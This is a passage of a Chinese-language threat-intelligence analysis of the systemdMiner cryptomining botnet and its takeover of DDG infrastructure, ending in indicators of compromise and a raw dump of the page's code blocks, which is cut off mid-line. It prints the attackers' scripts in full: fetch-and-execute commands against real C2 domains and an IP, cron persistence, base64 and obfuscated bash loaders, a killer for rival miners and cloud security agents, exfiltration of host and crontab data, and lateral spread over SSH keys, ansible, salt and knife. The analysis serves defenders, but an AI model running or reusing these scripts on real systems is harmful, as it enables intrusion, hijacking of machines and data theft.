该脚本的主要功能，是新建 cron 配置文件 /etc/cron.d/systemd，然后把 systemd-login-ddg 样本中落地的 /lib/systemd/systemd-login 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 wget 和 curl 命令，以此清除竞争对手的计划任务。
3.1.3 Shell 脚本三：杀掉竞争对手
原始脚本同样经过 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"
find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts
该脚本的功能就是清除各种竞争对手。
3.1.4 Shell 脚本四：下载矿机并执行
原始脚本经过 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi
此脚本会从 rapid7cpfqnwxodo.tor2web.fyi 或 rapid7cpfqnwxodo.tor2web.fyi 下载 systemd-analyze 文件并执行。systemd-analyze 正是基于 XMRig 改写的矿机程序。
3.1.5 Shell 脚本五：更新样本和恶意Shell脚本
原始脚本经过 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
u() {
x=/systemd.sh
(wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}
if [ -f /tmp/.systemd-update ]; then
kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi
u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi
systemd-login-ddg 会用此脚本检查样本更新标志文件 /tmp/.systemd-update ，据此来下载最新的 systemd-login 样本。随后会下载最新的恶意 Shell 脚本 systemd.sh 并执行。
接下来 systemd-login-ddg 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 systemd-login 样本的 C2 Domain 多了一个 rapid7cpfqnwxodo.tor2web.io 。
3.2. systemd-resolve
前文说过，systemd-resolve 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。systemd-resolve 的加壳、对抗分析特性都与 systemd-login-ddg 相同，不同的是把自身的守护进程命名为 -rbash 。
该样本主要用于内网传播，针对 172.16.0.0/12 、192.168.0.0/16 和 10.0.0.0/8 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段：
如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 8088 端口：
对于探测成功的目标主机，则利用以下 Payload 来传播自身：
Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login-h
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi
可以看到最终会在目标失陷主机中下载 systemd-login-h 并执行。这个 systemd-login-h 功能与上面分析过的 systemd-login-ddg 相同，此处不赘述。
3.3 systemd.sh
前文提到，systemd-login-ddg 在用来更新样本的第 5 个 Shell 脚本中，会下载 systemd.sh 并执行。在我们分析 systemdMiner 家族的早期，这个 systemd.sh 脚本没有实质性的内容：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
大概在 2019.4.23 中午，背后的攻击者才把 systemd.sh 正式上线，最新的 systemd.sh 的内容：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.d2web.org
fi
可以看到其目的是下载 systemd-analyze 并执行。
3.4 systemd-analyze
前文提到， systemdMiner 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 systemd-analyze 。
此矿机程序也有与 systemdMiner 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串：
挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 "x"，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下：
经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下：
DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund
资助的环保监测项目
上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。
4. 总结
综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， systemdMiner 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 /slave ，systemdMiner 的 Report URI 也是 /slave ，但这远不足以说明这两个团伙之间有什么联系。更何况 systemdMiner 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 systemdMiner 的 C2 Domain。
所以我们认为，DDG 的主 C2 被 systemdMiner 的团伙入侵了。得手之后，systemdMiner 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。
在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 6Tx3Wq(同于DDG 矿机程序文件名)或者ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。
5. IoCs
C&C Domain:
aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org
MD5:
64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6 | {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["code",{"code":"119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China\n"}],["code",{"code":"109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C\n104.128.230.16 AS62217|VooServers_Ltd|United States|New York\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/dns_trend.png","alt":"","title":"dns_trend"}],["code",{"code":"{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e \"\\n0.0.0.0 pastebin.com\\n0.0.0.0 thyrsi.com\\n0.0.0.0 tor2web.io\\n0.0.0.0 gitee.com\\n0.0.0.0 w.21-3n.xyz\\n0.0.0.0 w.3ei.xyz\\n0.0.0.0 aptgetgxqs3secda.onion.ly\\n0.0.0.0 aptgetgxqs3secda.onion.pet\\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\\n0.0.0.0 aptgetgxqs3secda.onion.in.net\\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\\n\" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh\" | crontab -\n\necho \"\" > /var/spool/cron/root\necho \"*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh\" >> /var/spool/cron/root\n\n\nmkdir -p /var/spool/cron/crontabs\necho \"\" > /var/spool/cron/crontabs/root\necho \"*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\n\ncd /tmp\ntouch /usr/local/bin/writeable && cd /usr/local/bin/\ntouch /usr/libexec/writeable && cd /usr/libexec/\ntouch /usr/bin/writeable && cd /usr/bin/\nrm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable\n\nexport PATH=$PATH:$(pwd)\nps auxf | grep -v grep | grep betsbce || rm -rf betsbce\nif [ ! -f \"betsbce\" ]; then\n\n curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce\nfi\nchmod +x betsbce\n$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce\n\nps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9\nps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9\nps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9\n\necho ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash\n"}],["code",{"code":"exec &>/dev/null\nsed -i '/rapid/d' /etc/hosts\nsed -i '/aptge/d' /etc/hosts\n\nd() {\n x=/systemd-login-ddg\n y=/tmp/.systemd-login\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 5\n}\n\nif ! ps -p $(cat /tmp/.X1M-unix); then\n d aptgetgxqs3secda.onion.ly\nfi\nif ! ps -p $(cat /tmp/.X1M-unix); then\n d aptgetgxqs3secda.onion.pet\nfi\nif ! ps -p $(cat /tmp/.X1M-unix); then\n d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net\nfi\n"}],["code",{"code":"aptgetgxqs3secda.onion.ly/systemd-login-ddg\naptgetgxqs3secda.onion.pet/systemd-login-ddg\naptgetgxqs3secda.tor2web.fyi/systemd-login-ddg\naptgetgxqs3secda.onion.in.net/systemd-login-ddg\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/packer.png","alt":"","title":"packer"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/anti_analysis.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/04/create_daemon.png","alt":"","title":""}],["code",{"code":"#!/bin/bash\nexec &>/dev/null\n{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\nsleep $((RANDOM % 600))\n(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash\n"}],["code",{"code":"\"${@%4}\"$'\\145v'${*%%5}al \"$(rK=(\\& \\ ${*,,} l H \\|${*//t5/&W} h n\"${@//ar}\" s \\+${*##\\(%} \\!${!*} M${*^^} \\. c 1${*##o} T 3\"${@~~}\" a${*~} w\"${@%9Q}\" g q \\-${*#uo} \\(${*,} \\=${*##+C} \\; O${*%JK} U\"${@~}\" 2$* \\<${*%%3} y \\} \\:${@//_o/F} u e\"${@}\" r \\/ L \\{ o i k S\"${@//Ao/W}\" m f${@/s\\`/\\]} v${@%0$} A $'\\xa'${*/Xr/>} \\$${*/&T} b t\"${@^^}\" P x \\) X p${*/u} d \\>)&&for JS in 32${*#mP} 50\"${@%%L}\" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\\\} 54 32 43 34${*/^\\{/T} 6 31 2\"${@//s/x}\" 2${*,,} 45\"${@,,}\" 32${*%E} 50 53${*//;\\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14\"${@,}\" 3 30 34 47${@##+H} 38${*/j\\!} 6 30 34${*%Oe} 7 47 38 6${*/P\\}/\\)s} 30${@%%DG} 34\"${@%%J7}\" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31\"${@%Z}\" 7${*%G6} 33\"${@}\" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37\"${@//q?}\" 12 16 2${@//K/EH} 34 47${*//./_\\}} 38 6 30 34 31 7${*^} 33$* 34\"${@,}\" 2${*~~} 37\"${@/-/=}\" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36\"${@##qh}\" 45\"${@^}\" 1\"${@,,}\" 1${@/^z/o} 1 1 50 22${*~~} 34\"${@##\\`}\" 7 28\"${@,}\" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\\`\\\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28\"${@~~}\" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\\}} 7 28 7 48${*##\\\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48\"${@^}\" 1 20${*/-G} 19 25 20 1 20\"${@}\" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46\"${@,,}\" 28 1 4 4${*%g8} 1$@ 12\"${@%%%S}\" 31\"${@}\" 33\"${@##6^}\" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1\"${@##Zk}\" 20\"${@//;O}\" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1\"${@%%V}\" 46${*%h6} 28${*%h7} 23 46${*~} 28\"${@^^}\" 45 29${@//5/1} 45 45 38 42 1${*//z/\\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11\"${@//?\\(/9}\" 52\"${@//:3}\" 13${*~~} 10 20 31\"${@#o}\" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48\"${@/Tc/&F}\" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\\}#} 6${*//\\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1\"${@##r}\" 4 4${*^^} 1${*#3} 54${@^^} 1\"${@}\" 16 53 48 18 32${@/\\}\\}} 48 18\"${@^}\" 50\"${@^}\" 19${@##d%} 7${!@} 15 7\"${@}\" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4\"${@%77}\" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18\"${@~}\" 32${*//,/P} 48 18 50${@##@} 19\"${@%b}\" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37\"${@//Ca}\" 33\"${@~~}\" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38\"${@^^}\" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\\\} 53 48 18$@ 32${@#\\\\} 48 18${@/9} 50 19 7${*#\\`c} 15 7 32 12${*^} 54${@%\\]} 16 11 48 37\"${@#V6}\" 33\"${@^^}\" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45\"${@~~}\";do pr${*//<}i$'\\x6e'\\tf %s \"${rK[$JS]}\"\"${@/#}\";done;)\"\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-login\n y=/tmp/systemd\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n}\n\nif ! ps -p $(< /tmp/.X1M-unix); then\n d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nxssh() {\n ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n}\n\ns1() {\n x=/slave\n y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))\n wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x\n}\n\ns2() {\n x=/systemd-resolve\n y=/tmp/systemd-resolve\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n}\n\ns3() {\n if [ -x $(command -v ansible) ]; then\n ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n fi\n if [ -x $(command -v salt) ]; then\n salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n fi\n if [ -x $(command -v knife) ]; then\n knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n fi\n if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then\n hosts=$(grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)\n for h in $hosts;do xssh root $h; xssh $USER $h & done\n fi\n}\n\ns1 rapid7cpfqnwxodo.tor2web.fyi\ns2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net\ns3\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nc() {\n x=/systemd-login\n y=/tmp/.systemd-login\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 4\n}\n\nif ! ps -p $(cat /tmp/.X1M-unix); then\n c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net\nfi"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nc() {\n if [ -x $(command -v crontab) ]; then\n if [ $(crontab -l |grep REDIS00) ]; then\n crontab -r\n fi\n if ((!EUID)); then\n if [ ! -f \"/etc/cron.d/systemd\" ]; then\n echo \"0 * * * * root /lib/systemd/systemd-login\" > /etc/cron.d/systemd\n fi\n if [ ! $(crontab -l |grep systemd-login) ]; then\n (echo \"0 * * * * ~/.systemd-login\";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -\n fi\n else\n if [ ! $(crontab -l |grep systemd-login) ]; then\n (echo \"0 * * * * ~/.systemd-login\";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -\n fi\n fi\n fi\n}\n\nc\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\npkill -9 -f \"8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0\"\n\nfind ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg\nfind /etc/cron*|xargs chattr -i\nfind /var/spool/cron*|xargs chattr -i\ngrep 